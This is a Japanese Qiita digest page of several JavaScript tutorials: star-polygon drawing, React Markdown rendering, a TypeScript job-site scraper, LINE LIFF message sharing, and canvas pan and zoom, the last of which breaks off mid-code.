20200305のJavaScriptに関する記事は27件です。

Javascriptでいろいろな正星型図形(n芒星)を生成する

仕組み

図形生成の仕組みは、こちらのページの技術を応用したもの + 高校で習った三角関数。
そもそも六芒星をはじめとする星型図形にはどれだけ複雑なものであっても、線の本数と傾きは正多角形の時と変わらないという法則がある。つまり、線の傾きと位置さえ調整してやれば、煩雑な多角形であっても生成可能なのである。
で、その線の位置と長さを求めるときに使うのが、いわゆるsin、cos、tanなのだ。

図にするとこんな感じ。
1583417842156.jpg

赤線の部分がいわゆる「斜辺」と呼ばれるもの。斜辺の長さは50%=0.5で、赤線と赤線の間の角(中心角)は今回の場合5等分(赤い点=円の中心から接線に向けて伸びる直線、つまり半径なのだ)。これにsinやcosをかけてやれば値がwidthとheightの長さが求まるという寸法だ。

高校を卒業したての人に向けて言えば、「width=弦の長さ」。と言えばイメージしやすいのではないだろうか。
ちなみに、sin、cos、tanは角度をもとに線の長さを求める式である。

作例例

1583418314284.jpg
オーソドックスな六芒星。

1583416971266.jpg
第三引数(intersection)を0にすれば通常の正多角形も作図できる。

1583418677837.jpg
同じ7角形だが、第三引数を2にしてある。

1583417002963.jpg
こんな複雑なのも可能。ちなみに、400角形で頂点を188個飛ばしにつないでいる。

1583418439057.jpg
1024角形。邪神アバター呼ばわりされた。

ちなみに、星型多角形は頂点の数が増えてゆくごとに、作れる"星"の種類も増えてゆく。
最大数は(頂点数÷2)-1 以下の数。たとえば、7角形なら、7÷2=3.5、3.5-1=2.5なので、2つ作れることになる。

コード本体

html
<style>
/* position:relative、position:absolute、position:fixedのいずれか+タテヨコの高さが決まっていないと崩れるので注意。 */
#torirobyte{
    position: relative;
    width: 600px;
    height: 600px;
}   
/* border-bottomで線を表現しているので、線の太さや色はここをいじれば制御できる。 */
#torirobyte div{
    border-bottom: 1px solid black;
}
</style>


<div id="torirobyte">
</div>

<script type="text/javascript">
(function(){

var target = document.getElementById('torirobyte');
CreateGrams(target, 12, 3);

function CreateGrams(parantelm, vertex, intersection){
    // vertexは頂点数。
    // intersectionは点と点をつなぐ直線が何個飛ばしに線を作るか。0の場合、普通の正多角形ができあがります。
    // elementの中に整形されます。

    // 図形のパラメーターの設定
    var radius = 50; // 半径(widthとheightはパーセント指定するので一律50)
    var slope_per_one = 360 / vertex; // 線の傾き
    var center_angle = slope_per_one * (intersection + 1); // 中心角。この値によって、完成する星型図形が変化します。
    var radian_slope = ((180 - center_angle) / 2) * (Math.PI / 180); // sin、cosに使う角(ラジアン単位)
    var width_rate = Math.cos(radian_slope) * radius * 2; // 線に設定するwidth(単位は%)
    var height_rate = Math.sin(radian_slope) * radius * 2; // 線に設定するheight(単位は%)
    var leftposision = (100 - width_rate) / 2; // positionのleftに付ける値。これで横位置を要素内におさめる

    // 図形の生成
    parantelm.innerHTML = '';
    for(var int = 0; int < vertex; int++){
        var childs = document.createElement('div');

        // 図形逆向き化防止
        if(intersection % 2 == 0){
            var slope_current = (slope_per_one * int);
        }else{
            var slope_current = (180 + (slope_per_one * int));
        }

        childs.style.margin = 'auto';
        childs.style.position = 'absolute';
        childs.style.top = 0;
        childs.style.bottom = 0;
        childs.style.left = leftposision + '%';
        childs.style.transform = 'rotate(' + slope_current + 'deg)';
        childs.style.width = width_rate + '%';
        childs.style.height = height_rate + '%';
        parantelm.appendChild(childs);
    }
    return parantelm;
}

})();
</script>

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

ReactでマークダウンをHTMLに変換する

ReactでマークダウンをHTMLに変換する方法について記載

1.react-markdownをインストール

npm install --save react-markdown

2.以下のコードを記載

import React,{Component} from 'react';
import ReactMarkdown from 'react-markdown/with-html';

export default class MarkdownSample extends React.Component {

    constructor(props) {
        super(props)
    }

    getHTMLfromMarkdown(){
        let markdown =
            '# 見出し 1\n' +
            '## 見出し 2\n' +
            '### 見出し 3\n' +
            '#### 見出し 4\n' +
            '---\n' +
            '- リスト 1\n' +
            '- リスト 2\n' +
            '- リスト 2-1\n' +
            '1. 番号付きリスト 1\n' +
            '2. 番号付きリスト 2\n' +
            '3. 番号付きリスト 3\n' +
            '[リンク](http://...)\n' +
            '**強調**\n' +
            '```ruby:filename.rb\n' +
            'コード\n' +
            '```';
        return markdown;
    }

    render() {
        return (
            <div>
                <ReactMarkdown
                    source={this.getHTMLfromMarkdown()}
                    escapeHtml={false}
                />
            </div>
        )
    }
}

以上

参考

https://github.com/rexxars/react-markdown

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

TypeScriptでスクレイピングしてみよう

初めに

TypeScriptによるスクレピングの簡単な手法を紹介したいと思います。
記事のポイントはあくまでもTypeScriptの使用、高度なスクレピング技法の紹介ではありません。

前提条件

  • ある程度Typescriptの文法が分かってること
  • Node.jsの環境が整って、npmコマンド使えること
  • グローバル環境にTypeScriptに入ってること
  • 法に触れること、人に迷惑かけることをしないこと

プロジェクト初期化

mkdir [好きなディレクトリ] && cd [好きなディレクトリ]

package.jsonとtsconfig.jsonの初期化

npm init -y && tsc --init

プロジェクトのフォルダ内にsrcフォルダを作ります。

mkdir src

tscofig.jsonのrootDirをsrcフォルダに指定します。

tscofig.json
 ...
     "rootDir": "./src",       /* Specify the root directory of input files. Use to control the output directory structure with --outDir. */
...

srcフォルダ内にcrowllwe.tsファイルを作って、中身 console.log('test')を追加します。

crowllwe.ts
console.log('test');

現時点使用するライブラリをインストール

  • npm install typescript -D
  • npm install ts-node -D

package.jsonを修正します。

package.json
...
  "scripts": {
    "dev": "ts-node ./src/crowller.ts"
  },
...

コマンドラインで npm run devを実行します。testがもし正常に表示出来たらオーケーです。

$ npm run dev

> [好きなディレクトリ名]@1.0.0 dev [好きなディレクトリ名]
> ts-node ./src/crowller.ts

test

ここまで初期化は完了です。
ディレクトリ構成は以下の通りです。

好きなディレクトリ
|-node_modules
|-src
|- |- crowller.ts
|- package-lock.json
|- package.json
|- tsconfig.json

HTMLレスポンス取得

ターゲットサイトからHtmlレスポンスもらう必要がある為、リクエスト送れるライブラリsuperagentを使用します。

npm install superagent --save

インストール終わったら、crowller.tsにimportします。

crowller.ts
import superagent from 'superagent'

この場合、恐らくIDEに怒られます。vscode使用してコーティングする場合、以下のメッセージが表示されます。

'superagent' が宣言されていますが、その値が読み取られることはありません。ts(6133)
モジュール 'superagent' の宣言ファイルが見つかりませんでした。'/qiita-spider-ts/node_modules/superagent/lib/node/index.js' は暗黙的に 'any' 型になります。
  Try `npm install @types/superagent` if it exists or add a new declaration (.d.ts) file containing `declare module 'superagent';`ts(

なぜなら、superagentはjavascriptで書かれているライブラリ、Typescriptが直接認識することができません。
その場合、ライブラリの翻訳ファイルが必要になります。翻訳ファイルは.d.tsの拡張子を持ってます。

翻訳ファイルをインストールします。

npm install @types/superagent -D

これでエラーが解決できるはずです、それでも消えない場合、一回IDEを再起動することお勧めします。
実際リクエスト送信して、HTMLリスポンス受けとってみましょう。
ターゲットサイトは任意で構いません。

crowller.ts
import superagent from 'superagent'

class Crowller {
    private url = "url"
    constructor(){
         this.getRawHtml();
    }
    async getRawHtml(){
        const result = await superagent.get(this.url);
        console.log(result.text)
    }
}

const crowller = new Crowller()

npm run devで実行すると、レスポンスもらえたらオーケーです。

サンプル
...
<span class='c-job_offer-detail__term-text'>給与</span>
</div>
</th>
<td class='c-job_offer-detail__description'>
<strong class='c-job_offer-detail__salary'>550万 〜 800万円</strong>
</td>
</tr>
<tr>
<th>
...

レスポンスから必要なデータを抜き取る

正規表現で抜き取ることもできますが、今回は多少便利になるcheerioというライブラリを使用します。
ドキュメント

npm install cheerio --save
npm install @types/cheerio -D

cheerioを使用すれば、jQueryのような文法でHTMLをから内容を抜き取れます。
実際使ってみます、下記のDOM構造からテキスト内容を抜き取るためにcrowller.tsを修正します。
tempsnip.png

crowller.ts
import superagent from 'superagent';
import cheerio from 'cheerio';

class Crowller {
    private url = "url"
    constructor(){
         this.getRawHtml();
    }
    async getRawHtml(){
        const result = await superagent.get(this.url);
        this.getJobInfo(result.text);
    }

    getJobInfo(html:string){
       const $ = cheerio.load(html)
       const jobItems = $('.c-job_offer-recruiter__name');
       jobItems.map((index, element)=>{
           const companyName = $(element).find('a').text();
           console.log(companyName)
       })
    }
}

const crowller = new Crowller()

実行してみます。

$ npm run dev

> qiita-spider-ts@1.0.0 dev 好きなディレクトリ名\qiita-spider-ts
> ts-node ./src/crowller.ts

xxx株式会社
株式会社xxx
xxx株式会社
...

データの保存

srcフォルダと同じ階層でデータ保存用のdataフォルダを新規追加します。

|- node_modules
|- src
|- data
|- |- crowller.ts
|- package-lock.json
|- package.json
|- tsconfig.json

取得したデータをjson形式でdataフォルダに保存します。
その前にデータに含む要素を決めるためのインターフェースを定義します。
転職サイトをターゲットにしてるため、会社名ポジション提示年収の三つをインターフェースの要素として追加します。

crowller.ts
...
interface jobInfo {
    companyName: string, 
    jobName: string,
    salary: string
}
...

そして配列に継承させて、データを入れていきます。

crowller.ts
...
    getJobInfo(html:string){
       const $ = cheerio.load(html)
       const jobItems = $('.c-job_offer-box__body');
       const jobInfos:jobInfo[] = [] //インターフェース継承
       jobItems.map((index, element) => {
           const companyName = $(element).find('.c-job_offer-recruiter__name a').text();
           const jobName = $(element).find('.c-job_offer-detail__occupation').text();
           const salary= $(element).find('.c-job_offer-detail__salary').text();
           jobInfos.push({
            companyName,
            jobName,
            salary
           })
       });
       const result = {
           time: (new Date()).getTime(),
           data: jobInfos
       };
       console.log(result);
    }
...

再度実行してみます。データが綺麗になってることが分かります。

$ npm run dev

> qiita-spider-ts@1.0.0 dev 好きなディレクトリ名\qiita-spider-ts
> ts-node ./src/crowller.ts

{ time: 1583160397866,
  data:
   [ { companyName: 'xx株式会社',
       jobName: 'フロントエンドエンジニア',
       salary: 'xxx万 〜 xxx万円' },
     { companyName: '株式会社xxxx',
   ...

保存用の関数を定義

generateJsonContentというデータ保存用の関数を定義します。

crowller.ts
    ...
    async getRawHtml(){
        const result = await superagent.get(this.url);
        const jobResult = this.getJobInfo(result.text); //整形後のデータを受け取ります。
        this.generateJsonContent(jobResult); //保存用の関数に渡します。
    }
    // 保存用の関数
    generateJsonContent(){

    }
    ...
    getJobInfo(html:string){
    ...
    const result = {
           time: (new Date()).getTime(),
           data: jobInfos
       };
       return result 
   }    

でも、そのままデータを受け取れないので保存用のinterfaceを定義します。

crowller.ts
interface JobResult {
    time: number,
    data: JobInfo[]
}

それを保存用の関数の引数型として渡します。

crowller.ts
...
generateJsonContent(jobResult:JobResult){

    }
...

データをファイルに保存するために、node.jsのファイル操作関連のライブラリをimport

crowller.ts
import fs from 'fs';
import path from 'path'

generateJsonContent関数の中身書いていきます。

scowller.ts
...
generateJsonContent(jobResult:JobResult){
        const filePath = path.resolve(__dirname, '../data/job.json')
        let fileContent = {}
        if(fs.existsSync(filePath)){
            fileContent = JSON.parse(fs.readFileSync(filePath, 'utf-8'));
        }
        fileContent[jobResult.time] = jobResult.data;
        fs.writeFileSync(filePath, JSON.stringify(fileContent));
    }
...

今の内容ですと、恐らく fileContent[jobResult.time] がエラーになると思います。
エラーの内容は以下の通り。

(property) JobResult.time: number
Element implicitly has an 'any' type because expression of type 'number' can't be used to index type '{}'.
  No index signature with a parameter of type 'number' was found on type '{}'.ts(7053)

これを解決するには fileContentに型を振る必要があります。
そのまま let fileContent:any = {}にしてもいいですが、
ちゃんとしたインターフェース定義した方がtypescriptらしいです。

crowller.ts
...
interface Content {
    [propName: number]: JobInfo[];
}
...
generateJsonContent(jobResult:JobResult){
...
let fileContent:Content = {}
...
}

最後に実行してみましょう。

npm run dev

dataフォルダの下にjob.jsonファイルが作られて、データも保存されてるはずです。

tempsnip.png

終わりに

最初計画として、Typescriptを使ってExpressでスクレピングコントロールできるAPIを作るまでやりたかったのですが、
流石に長すぎて良くないと思いましたので、また今度時間ある時に。

crowller.ts
import fs from 'fs';
import path from 'path'
import superagent from 'superagent';
import cheerio from 'cheerio';

interface JobInfo {
    companyName: string,
    jobName: string,
    salary: string
}

interface JobResult {
    time: number,
    data: JobInfo[]
}

interface Content {
    [propName: number]: JobInfo[];
}

class Crowller {
    private url = "url"
    constructor(){
         this.getRawHtml();
    }
    async getRawHtml(){
        const result = await superagent.get(this.url);
        const jobResult = this.getJobInfo(result.text);
        this.generateJsonContent(jobResult)
    }

    generateJsonContent(jobResult:JobResult){
        const filePath = path.resolve(__dirname, '../data/job.json')
        let fileContent:Content = {}
        if(fs.existsSync(filePath)){
            fileContent = JSON.parse(fs.readFileSync(filePath, 'utf-8'));
        }
        fileContent[jobResult.time] = jobResult.data;
        fs.writeFileSync(filePath, JSON.stringify(fileContent));
    }

    getJobInfo(html:string){
       const $ = cheerio.load(html)
       const jobItems = $('.c-job_offer-box__body');
       const jobInfos:JobInfo[] = []
       jobItems.map((index, element)=>{
           const companyName = $(element).find('.c-job_offer-recruiter__name a').text();
           const jobName = $(element).find('.c-job_offer-detail__occupation').text();
           const salary = $(element).find('.c-job_offer-detail__salary').text();
           jobInfos.push({
            companyName,
            jobName,
            salary
           })
       });
       const result = {
           time: (new Date()).getTime(),
           data: jobInfos
       };
       return result
    }
}

const crowller = new Crowller()

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

LIFFの新機能「Share Target Picker」を試してみた

つい先日、LINEのフロントエンドフレームワークの「LIFF」に新機能が追加されました。その名も「Share Target Picker」。どんな機能かというと、WebアプリからLINEの友達に対してメッセージを送ることができる機能です。つまり、「LINEアプリを立ち上げなくてもブラウザからメッセージを送る」という機能を実装することができます。詳しくはこちらのブログが参考になります。
Share Target Pickerがリリースされ、LIFFアプリからのメッセージ送信が大幅に強化されました。

というわけで今回はこの機能を試してみます。

今回作るもの

ブラウザから適当なメッセージを入力して誰かに送信するというものです。実際の動作はこちらで確認できます。

※LIFFは本来はLINEアプリ上で動くように作られていますが、この機能に関しては、LINEアプリのver10.3.0以降でサポートされます。2020年3月5日時点では、ver10.2.1なのでブラウザのみで動作確認をしています。

チャネルの作成

まずは、LIFFを動かすためのチャネルを作成します。LINE Developersにログインし、チャネルの作成を行います。これまではMessaging APIからLIFFを作れましたが、仕様変更が行われ、今後はLINE ログインを選択してチャネルを作成します。

スクリーンショット 2020-03-05 02.13.16.png

チャネルの情報は、Messaging API同様に、プライバシーポリシーや利用規約のURL以外の項目をすべて入力します。また、アプリタイプは「ウェブアプリ」を選択しておきます。
スクリーンショット 2020-03-05 02.19.05.png

LIFFを動かすサイトの用意

続いてLIFFのURLを作成する際にエンドポイントURLが必要になるので先に今回使うサイトを作成します。今回はNetlifyを使ってサイトを公開させます。まずは、以下のHTMLを作成して適当なフォルダに保存します。ファイル名は、index.htmlとします。

<html>
    <head>
        <meta charset="utf-8">
        <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta/css/bootstrap.min.css" integrity="sha384-/Y6pD6FV/Vv2HJnA6t+vslU6fwYXjCFtcEpHbNJ0lyAFsXTsjBbfaDjzALeQsN6M" crossorigin="anonymous">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>メッセージ送信アプリ</title>
    </head>
    <body>
        <h1 id="displaynamefield"></h1>
        <button type="button" class="btn btn-danger" id="logout" onclick="LogoutAction();">ログアウト</button>

        <form id="send-message">
            <p>送信したいメッセージを入れてね</p>
            <input type="text" id="message" name="message" size="30" placeholder="メッセージを入力">
            <button id="send" class="btn btn-primary">送信</button>
        </form>

        <!-- load jquery -->
        <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
        <!-- load LIFF SDK -->
        <script src="https://static.line-scdn.net/liff/edge/2.1/sdk.js"></script>
        <script>
            var userId = "";
            document.getElementById("logout").style.display ="none";
            window.onload = function() {
                initializeLiff("YOUR_LIFF_ID");
            };

            function initializeLiff(myLiffId) {
                liff
                    .init({
                        liffId: myLiffId
                    })
                    .then(() => {
                        //LINEアプリで起動しているかどうかとログインをしているのかを判断している
                        if (!liff.isInClient() && !liff.isLoggedIn()){
                            window.alert("LINEアカウントにログインしてください。");
                            liff.login();
                        }else{
                            // start to use LIFF's api
                            liff.getProfile().then(function(profile) {
                                document.getElementById('displaynamefield').textContent = 'ようこそ' + profile.displayName + 'さん';
                                userId = profile.userId;
                                if (!liff.isInClient()){
                                    document.getElementById("logout").style.display = "block"
                                }
                            }).catch(function(error) {
                                window.alert('Error getting profile: ' + error);
                            })
                        }

                    })
                    .catch((err) => {
                        document.getElementById('displaynamefield').textContent = err;
                    });
            }
            // メッセージの送信
            $(function() {
                $('#send').click(function(e) {
                    e.preventDefault();
                    var val = $('#message').val();
                    liff.shareTargetPicker([
                        {
                            type: "text",
                            text: val
                        }
                        ])
                        .then(
                            alert("メッセージを送信しました")
                        ).catch(function(res) {
                            alert("送信に失敗しました")
                        })
                });
            });
            // ログアウトの処理
            function LogoutAction(){
                liff.logout();
                window.location.reload();
            }
        </script>
    </body>
</html>

Netlifyへのデプロイ

それでは、Netlifyでサイトを公開しましょう。こちらから、ログインをして、sitesタブを選択した状態で、先ほど作成したHTMLファイルを保存したフォルダーをドラッグアンドドロップで下の点線の四角に持っていきます。
コメント 2020-03-05 201819.png

しばらくすると、サイトのURLが生成されます。このURLをクリックするとサイトの画面が出力され、「LINEアカウントにログインしてください」と表示されます。
コメント 2020-03-05 181131.png

しかしアラートのOKボタンを押すと、「404 Bad Request」と表示されると思います。まだLIFF IDを設定していないために起こるエラーです。それでは、LIFF IDを作成するので先程デプロイしたときに生成されたURLをコピーして次の作業を行います。

LIFF IDを作成

それでは、LIFF IDを作成します。先程作成したLINE Loginのチャネルの中のLIFFタブを選択して、シェアターゲットピッカーを有効にして表示される規約に同意します。
スクリーンショット 2020-03-05 02.48.31.png

追加ボタンをクリックして、LIFFの設定を行います。設定項目は以下の通りです。

設定項目 内容
LIFF アプリ名 LIFFアプリを管理するための名前なので何でもOK
サイズ お好みでOK
エンドポイントURL 先程コピーしたNetlifyのURL
Scope profileとopenidにチェック
ボットリンク機能 今回は使わないのでOFF
ScanQR 今回は使用しないのでそのままでOK

設定が終わると以下のようにLIFF URLが生成されます。
スクリーンショット 2020-03-05 02.48.16.png
この中のline://app/以降にある文字列がLIFF IDになりますので、コピーをして先程のHTMLの中のYOUR_LIFF_IDの部分をLIFF IDに書き換えます。

もう一度デプロイ

それでは、もう一度デプロイします。Sitesタブをの一覧から先程デプロイしたサイトを選択するとサイトの設定画面に飛びます。
コメント 2020-03-05 203407.png
その後、Deploysタブをクリックして、先程と同様に灰色の四角形の箇所にHTMLを保存しているフォルダーをドラックアンドドロップでデプロイ完了です。
コメント 2020-03-05 204216.png

動作確認

それでは、動作確認です。もう一度先程のページを開いて、ログインできるとユーザー名表示されます。何かメッセージを入れて送信ボタンを押すとメッセージの送信画面が出ます。ここで送信したい友達を選択して送信します。
コメント 2020-03-05 161748.png

まとめ

今回はLIFFを使って、ブラウザから誰かにメッセージを送信する仕組みを紹介しました。工夫次第で面白い仕組みでメッセージ送信できると思うので色々試してみたいですね。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【JavaScript】canvasでビュー操作してみよう【canvas】

はじめに

以前公開した記事の続編的な記事です。
canvasで、マウスイベント、リサイズイベントをハンドリングして、平行移動や拡大縮小をしてみましょう。
今回はcontext.setTransformを使ってみます。

仕様

動作確認ブラウザはPC版のChromeのみ
ライブラリはjQueryのみ使用
ドラッグで平行移動、ホイールで拡大縮小する(拡大縮小はカーソル位置中心)
ブラウザのリサイズに対応する
ブラウザいっぱいにcanvasを描画する

仕様のイメージ

ドラッグによる平行移動

maki_translate.png

ホイールによる拡大縮小

maki_scale.png

ブラウザリサイズ

maki_resize.png

用語

マウスドラッグによる平行移動とホイール操作による拡大縮小をビュー操作と呼ぶことにしましょう。
また、canvasの座標系をスクリーン座標系、スクリーン座標系へ変換される前の座標系をワールド座標系と呼ぶことにします。
ワールド座標系の可視範囲をビューボリューム、スクリーン座標系の表示範囲をビューポートと呼ぶことにします。
今回は、canvasをブラウザいっぱいに広げるので、ビューポートとはcanvasの矩形の事です。
1つ注意ですが、普通、ビューボリュームのアスペクト比はビューポートのアスペクト比と一致させますので、本記事もそれに従います。
ワールド座標系からスクリーン座標系へ変換する写像は行列で表現できますが、これを射影行列と呼ぶことにします。
以上は、一般的なコンピュータグラフィックスの用語とは異なるかもしれませんが、本記事はこれでいきます。
maki_word.png

ビュー操作時の射影行列の求め方

上記をまとめると、ビュー操作が行われた時に、射影行列を更新すればよいことになります。
いきなり、射影行列を計算するのは大変ですので、
まずはビューボリュームの更新を考えます。
ビューボリュームは単なる矩形で、左上隅の座標系と幅と高さを持っています。
先ほど説明した通り、ビューボリュームは可視範囲です。ですので、例えば平行移動を実現するには、ビューボリュームの左上隅の座標を変更すれば良さそうです。
ここでは、ビューボリュームの更新が終わったとしましょう。求めたいのは射影行列ですので、今わかっているビューボリュームとビューポートから射影行列を計算します。
要は、ビューボリュームをビューポートに重ねるような変換(写像)が射影行列なのですから、ビューボリュームの左上隅を原点へ移動する行列と、ビューポートへ重なるように拡大する行列をかけたものが、射影行列です。

// 射影行列をビューポートとビューボリュームから計算する
function updatePrjMatrix() {
    const trans = Matrix.translate(-_vv.x, -_vv.y), // ビューボリュームの左上隅を原点へ移動する
        invTrans = Matrix.translate(_vv.x, _vv.y),  // ビューボリュームの左上隅を原点へ移動する逆行列を求める
        scale = Matrix.scale(_vp.w / _vv.w, _vp.h / _vv.h), // ビューボリュームの拡大縮小し、ビューポートにフィットような行列を求める
        invScale = Matrix.scale(_vv.w / _vp.w, _vv.h / _vp.h);   // ビューボリュームの拡大縮小し、ビューポートにフィットような行列の逆行列を求める
    _m = Matrix.multiply(scale, trans); // 射影行列を更新する
    _inv = Matrix.multiply(invTrans, invScale); // 射影行列の逆行列を更新する        
}

描画のタイミング

今回ビュー操作のタイミングでcanvasを再描画していません。requestAnimationFrameのコールバック内で再描画しています。こうすると、描画でかくつきにくくなります。
もし、mousemoveのタイミングで再描画するとなると、mousemoveイベントは1秒間に数百回起こるかもしれないので、再描画処理でかかる時間をかなり短くしなくてはならなくなります。
また、再描画はUIスレッド行う必要があり、UIスレッドに負荷をかけるのは良くありません。
通常のモニタですと、requestAnimationFrameのコールバックは1秒間に60回呼ばれますから、再描画処理は1/60秒を目指せばよいことになります。
今回の例はごく簡単な描画しかしていませんが、もし、canvasのプログラムを書いているのなら、以上の理由によりイベントハンドラでcanvasの再描画を行うべきではありません。

function anim() {
    if (_redrawFlag) {// 再描画する
        updateView();
        _redrawFlag = false;
    } 
    requestAnimationFrame(anim);
}
// ビュー(canvas)更新
// ※本関数はanim関数で呼ばれる
function updateView() {
    const ctx = $('#canvas')[0].getContext('2d');

    ctx.save();

    // canvasをクリアする
    ctx.clearRect(0, 0, ctx.canvas.width, ctx.canvas.height);

    // 射影行列をセットする(これによりワールド座標系からスクリーン座標系への射影が行われる)
    ctx.setTransform(_m[0], _m[3], _m[1], _m[4], _m[2], _m[5]);

    // 矩形、丸、三角形を適当な位置へ描画

    // 青色の矩形を描画
    ctx.fillStyle = 'blue';
    ctx.fillRect(400, 200, 100, 100);        

    // 赤色の丸を描画
    ctx.fillStyle = 'red';
    ctx.beginPath();
    ctx.arc(300, 600, 50, 0, 360 * Math.PI / 180, false);
    ctx.fill();

    // 緑色の三角形を描画
    ctx.fillStyle = 'green';
    ctx.beginPath();
    ctx.moveTo(800, 500);
    ctx.lineTo(750, 600);
    ctx.lineTo(850, 600);
    ctx.fill();

    ctx.restore();
}

平行移動の実現

mousedown時に、カーソルの座標を取得します。
この座標系はスクリーン座標系ですので、ワールド座標系へ変換して、1つ前の座標として保持します。
mousemove時に、カーソルの座標を取得しワールド座標系へ変換します。
1つ前の座標と現在の座標の差をビューボリュームの左上隅座標に加えます。
ビューボリュームが更新できましたので、射影行列を計算します。
次のmousemoveイベントに備えて、現在の座標を1つ前の座標とします。
これで、平行移動が実現できました。

// イベントハンドラ 
$('#canvas').on('mousedown', e => {
    var cursorPos;  // スクリーン座標系のカーソルの座標

    // ブラウザのデフォルト動作を抑止(これをしないと、canvas上でのdragによる操作がうまく動作しない)
    e.preventDefault();

    if(_resizeTimeoutId !== -1) { return; } // リサイズ処理待ち

    if (_translating) {
        return;
    }
    _translating = true;

    // スクリーン座標系のカーソルの座標を取得
    cursorPos = { x: e.pageX, y: e.pageY };

    // スクリーン座標系をワールド座標系に変換
    _prePos = screenToWorld(cursorPos);        
}); 

$('#canvas').on('mousemove', e => {
    let cursorPos,  // スクリーン座標系のカーソルの座標
        curPos;     // ワールド座標系のカーソルの座標

    if(!_translating) {
        return;
    }

    // スクリーン座標系のカーソルの座標を取得
    cursorPos = { x: e.pageX, y: e.pageY };

    // スクリーン座標系をワールド座標系に変換
    curPos = screenToWorld(cursorPos);

    // 平行移動する
    translate({ x: _prePos.x - curPos.x, y: _prePos.y - curPos.y });

    // カーソルの座標をワールド座標系へ変換
    _prePos = screenToWorld(cursorPos);

    // 再描画フラグを立てる
    _redrawFlag = true;
});  

$('#canvas').on('mouseup', e => {
    _translating = false;
});
// 平行移動
function translate(vec) {
    // ビューボリュームを更新する
    _vv.x += vec.x;
    _vv.y += vec.y;
    // 射影行列と射影行列の逆行列を更新する   
    updatePrjMatrix();
}

拡大縮小の実現

mousewheelイベントで、拡大か縮小か判定します。
ここでは、ホイールを奥側へ操作して、拡大であるとします。事前に適当に拡大率を決めておきます。
拡大処理をする前に、現在のカーソルの座標を取得し、ワールド座標系へ変換しておきます。これが拡大中心になります。
さて、ビューボリュームの更新ですが、
拡大中心を原点へ移動する行列、
拡大率に応じた拡大行列、
拡大中心を原点へ移動する行列の逆行列
を掛け合わせたものが射影行列となります。
ビューボリュームの計算ができましたので、射影行列を計算します。

$('#canvas').on('mousewheel', e => {

    let cursorPos,  // スクリーン座標系のカーソルの座標
        curPos,     // ワールド座標系のカーソルの座標
        rate;

    if(_resizeTimeoutId !== -1) { return; } // リサイズ処理待ち

    // スクリーン座標系のカーソルの座標を取得
    cursorPos = { x: e.pageX, y: e.pageY };

    // スクリーン座標系をワールド座標系に変換
    curPos = screenToWorld(cursorPos);

    if (e.originalEvent.wheelDelta > 0) {// 奥へ動かした -> 拡大する -> ビューボリュームを縮小する
        rate = 1 / 1.2;
    } else {// 手前へ動かした -> 縮小する -> ビューボリュームを拡大する
        rate = 1.2;
    }

    // 拡大縮小する
    scale(curPos, rate);

    // 再描画フラグを立てる
    _redrawFlag = true;
});
// 拡大縮小
function scale(center, rate) {
    let topLeft = { x: _vv.x, y: _vv.y },
        mat;

    // 中心座標を原点へ移動する
    mat = Matrix.translate(-center.x, -center.y);
    // 拡大縮小する
    mat = Matrix.multiply(Matrix.scale(rate, rate), mat);
    // 原点を中心座標へ戻す
    mat = Matrix.multiply(Matrix.translate(center.x, center.y), mat);

    topLeft = Matrix.multiply(mat, topLeft);

    // ビューボリューム更新
    _vv.x = topLeft.x;
    _vv.y = topLeft.y;
    _vv.w *= rate;
    _vv.h *= rate;

    // 射影行列と射影行列の逆行列を更新する   
    updatePrjMatrix();
}

リサイズ時の処理

リサイズ時の処理を4種類用意しました。
とりあえず、左上にあるコンボボックス(リサイズ時の処理)を変更して、動かしてみてください。
詳細についてはソースのコメントをお読みください。
ブラウザがリサイズされるので、それに合わせてcanvasのサイズを変更する必要があります。
あとは、ビューボリュームを更新して、射影行列を計算します。

// リサイズ
// ビューボリュームの矩形の中心が変わらないように更新する
function resizeScaleCenter() {
    // 変更前の拡大率を求める
    const rate = { x: _vv.w / _vp.w, y: _vv.h / _vp.h };
    let vvsq = {};

    if(_vv.w > _vv.h) {// 横長
        vvsq.y = _vv.y;
        vvsq.size = _vv.h;
        vvsq.x = _vv.x + (_vv.w - vvsq.size) / 2; 
    } else {// 縦長
        vvsq.x = _vv.x;
        vvsq.size = _vv.w;
        vvsq.y = _vv.y + (_vv.h - vvsq.size) / 2;
    }        

    // ビューポートの更新
    updateViewport();

    // ビューボリュームの更新
    const aspect = _vp.w / _vp.h;
    if(aspect > 1) {// 横長
        _vv.y = vvsq.y;
        _vv.h = vvsq.size;
        _vv.x = vvsq.x - (vvsq.size * aspect) / 2 + vvsq.size / 2;
        _vv.w = vvsq.size * aspect;
    } else {// 縦長
        _vv.x = vvsq.x;
        _vv.w = vvsq.size;
        _vv.y = vvsq.y - (vvsq.size / aspect) / 2 + vvsq.size / 2;
        _vv.h = vvsq.size / aspect;
    }

    // 射影行列と射影行列の逆行列を更新する   
    updatePrjMatrix();
}

// リサイズ
// ビューボリュームの矩形の左上隅が変わらないように更新する
function resizeScaleTopLeft() {
    // 変更前の拡大率を求める
    const rate = { x: _vv.w / _vp.w, y: _vv.h / _vp.h };
    let vvsq = {};

    if(_vv.w > _vv.h) {// 横長
        vvsq.size = _vv.h;
    } else {// 縦長
        vvsq.size = _vv.w;
    }        

    // ビューポートの更新
    updateViewport();

    // ビューボリュームの更新
    const aspect = _vp.w / _vp.h;
    if(aspect > 1) {// 横長
        _vv.h = vvsq.size;
        _vv.w = vvsq.size * aspect;
    } else {// 縦長
        _vv.w = vvsq.size;
        _vv.h = vvsq.size / aspect;
    }

    // 射影行列と射影行列の逆行列を更新する   
    updatePrjMatrix();
}

// リサイズ
// 矩形の中央を中心に何も変化がないように見せる
function resizeNoScaleCenter() {
    // 変更前の拡大率を求める
    const rate = { x: _vv.w / _vp.w, y: _vv.h / _vp.h };    // rate.xはrate.yと等しいんだけど、一応xもyも求めておく
    // 変更前のビューボリュームの中心点を求める
    const oldCenter = {
        x: _vv.x + _vv.w / 2,
        y: _vv.y + _vv.h / 2
    };
    // ビューポートの更新
    updateViewport();

    // ビューボリュームの更新(幅と高さのみ更新する)
    _vv.w = _vp.w * rate.x;
    _vv.h = _vp.h * rate.y;
